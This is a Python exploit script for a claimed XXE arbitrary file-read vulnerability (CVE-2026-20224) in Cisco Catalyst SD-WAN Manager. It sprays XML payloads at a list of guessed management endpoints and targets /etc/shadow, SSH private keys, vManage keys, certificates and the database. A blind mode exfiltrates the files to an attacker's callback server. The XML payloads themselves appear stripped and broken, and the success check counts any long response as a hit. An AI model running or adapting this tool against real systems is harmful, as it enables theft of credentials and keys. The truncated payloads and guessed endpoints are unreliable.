#!/usr/bin/env python3 """ CVE-2026-20224 - Cisco Catalyst SD-WAN Manager XXE Arbitrary File Read ======================================================================= Author: Security Research POC Description: Exploits XML External Entity (XXE) injection vulnerability in the web UI of Cisco Catalyst SD-WAN Manager to read arbitrary files from the affected system. CVSS Score: 8.6 (HIGH) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N DISCLAIMER: This exploit is intended exclusively for authorized red team operations, penetration testing, and security research on systems where you have explicit written authorization. Any unauthorized use is illegal and strictly prohibited. Use at your own risk. """ import requests import sys import argparse import urllib3 from colorama import init, Fore, Style # Disable SSL warnings for self-signed certificates urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) init(autoreset=True) def print_banner(): banner = f""" {Fore.CYAN} ╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-20224 - Cisco Catalyst SD-WAN Manager XXE Exploit ║ ║ XML External Entity Injection - Arbitrary File Read ║ ╚══════════════════════════════════════════════════════════════╝ {Style.RESET_ALL} """ print(banner) def build_xxe_payload(file_path, callback_url=None): """ Builds the XXE payload with external DTD or local file read Args: file_path: Path to file to read on target system callback_url: Optional URL for OOB exfiltration (for blind XXE) Returns: XML payload string """ # Classic in-band XXE payload - reads file directly in response if not callback_url: payload = f""" ]> &xxe; """ else: # OOB (Out-of-Band) payload for blind XXE payload = f""" "> %param1; %exfil; """ return payload def exploit_xxe(target, file_path, port=443, use_ssl=True, output_file=None): """ Main exploitation function Args: target: Target IP or hostname file_path: Path to file to read port: Target port (default 443) use_ssl: Use HTTPS (default True) output_file: Save output to file """ protocol = "https" if use_ssl else "http" base_url = f"{protocol}://{target}:{port}" # Common vulnerable endpoints based on Cisco SD-WAN Manager vulnerable_endpoints = [ "/dataservice/device/template/feature/upload", "/dataservice/device/config/upload", "/dataservice/device/auditlog/export", "/dataservice/device/policy/import", "/dataservice/device/certificate/upload", "/dataservice/device/backup/restore", "/dataservice/device/software/upload" ] headers = { 'Content-Type': 'application/xml', 'Accept': 'application/xml', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print(f"{Fore.YELLOW}[*] Target: {target}:{port}") print(f"{Fore.YELLOW}[*] File to read: {file_path}") print(f"{Fore.YELLOW}[*] Testing vulnerable endpoints...{Style.RESET_ALL}\n") for endpoint in vulnerable_endpoints: url = base_url + endpoint payload = build_xxe_payload(file_path) print(f"{Fore.CYAN}[→] Trying: {endpoint}") try: response = requests.post( url, data=payload, headers=headers, verify=False, timeout=10, allow_redirects=False ) # Check if the file content is in the response if response.status_code == 200: if file_path.replace("/", "_").replace(":", "") in response.text or \ "root:" in response.text or \ "daemon:" in response.text or \ len(response.text) > 100: print(f"{Fore.GREEN}[✓] SUCCESS! File content retrieved:{Style.RESET_ALL}") print(f"{Fore.WHITE}{'='*60}") print(response.text[:5000]) # Limit output print(f"{'='*60}{Style.RESET_ALL}") if output_file: with open(output_file, 'w') as f: f.write(response.text) print(f"{Fore.GREEN}[✓] Output saved to: {output_file}") return True else: print(f"{Fore.YELLOW}[!] Response received but no file content detected") else: print(f"{Fore.RED}[✗] Failed with status: {response.status_code}") except requests.exceptions.ConnectionError: print(f"{Fore.RED}[✗] Connection error - endpoint may not be accessible") except requests.exceptions.Timeout: print(f"{Fore.RED}[✗] Timeout - endpoint may be slow or protected") except Exception as e: print(f"{Fore.RED}[✗] Error: {str(e)}") print() return False def blind_xxe_with_oob(target, file_path, callback_server, port=443): """ Blind XXE exploitation using Out-of-Band technique Args: target: Target IP or hostname file_path: Path to file to read callback_server: Your server URL to receive exfiltrated data port: Target port """ protocol = "https" if port == 443 else "http" base_url = f"{protocol}://{target}:{port}" # Endpoint that supports DTD references endpoint = "/dataservice/device/template/import" url = base_url + endpoint # Payload that triggers external DTD payload = f""" %dtd; %send; ]> """ headers = {'Content-Type': 'application/xml'} print(f"{Fore.YELLOW}[*] Attempting Blind XXE with OOB exfiltration") print(f"{Fore.YELLOW}[*] Ensure you have a HTTP server listening on: {callback_server}") try: response = requests.post(url, data=payload, headers=headers, verify=False, timeout=15) print(f"{Fore.CYAN}[i] Payload sent. Check your callback server for results.") if response.status_code == 200: print(f"{Fore.GREEN}[✓] Request accepted - blind injection likely successful") else: print(f"{Fore.YELLOW}[!] Unexpected response: {response.status_code}") except Exception as e: print(f"{Fore.RED}[✗] Error: {str(e)}") def main(): parser = argparse.ArgumentParser( description='CVE-2026-20224 - Cisco Catalyst SD-WAN Manager XXE Exploit', epilog='Example: python3 cve-2026-20224.py -t 192.168.1.100 -f /etc/passwd' ) parser.add_argument('-t', '--target', required=True, help='Target IP address or hostname') parser.add_argument('-f', '--file', default='/etc/passwd', help='File path to read (default: /etc/passwd)') parser.add_argument('-p', '--port', type=int, default=443, help='Target port (default: 443)') parser.add_argument('--no-ssl', action='store_true', help='Use HTTP instead of HTTPS') parser.add_argument('-o', '--output', help='Save output to file') parser.add_argument('--blind', action='store_true', help='Use blind XXE technique') parser.add_argument('--callback', help='Callback URL for blind XXE exfiltration (e.g., http://your-server.com)') args = parser.parse_args() print_banner() # Interesting files to read on Cisco SD-WAN Manager interesting_files = [ "/etc/passwd", "/etc/shadow", "/etc/hosts", "/etc/group", "/opt/vmanage/data/config/vmanage-config.conf", "/opt/vmanage/data/database/vmanage.db", "/opt/vmanage/conf/vmanage-server.properties", "/var/log/vmanage/server.log", "/var/log/vmanage/audit.log", "/root/.ssh/id_rsa", "/home/vmanage/.ssh/authorized_keys", "/opt/vmanage/data/security/local.p12", "/etc/vmanage/vmanage.key", "/opt/vmanage/conf/vmanage-cert.pem" ] if args.file in interesting_files: print(f"{Fore.YELLOW}[!] Attempting to read sensitive file: {args.file}") if args.blind and args.callback: blind_xxe_with_oob(args.target, args.file, args.callback, args.port) else: success = exploit_xxe( args.target, args.file, args.port, not args.no_ssl, args.output ) if success: print(f"\n{Fore.GREEN}[✓] Exploit completed successfully!{Style.RESET_ALL}") else: print(f"\n{Fore.RED}[✗] Exploit failed. The target may be patched or using a different endpoint.{Style.RESET_ALL}") print(f"{Fore.YELLOW}[i] Try: alternative endpoints, different file paths, or blind XXE technique") if __name__ == "__main__": main()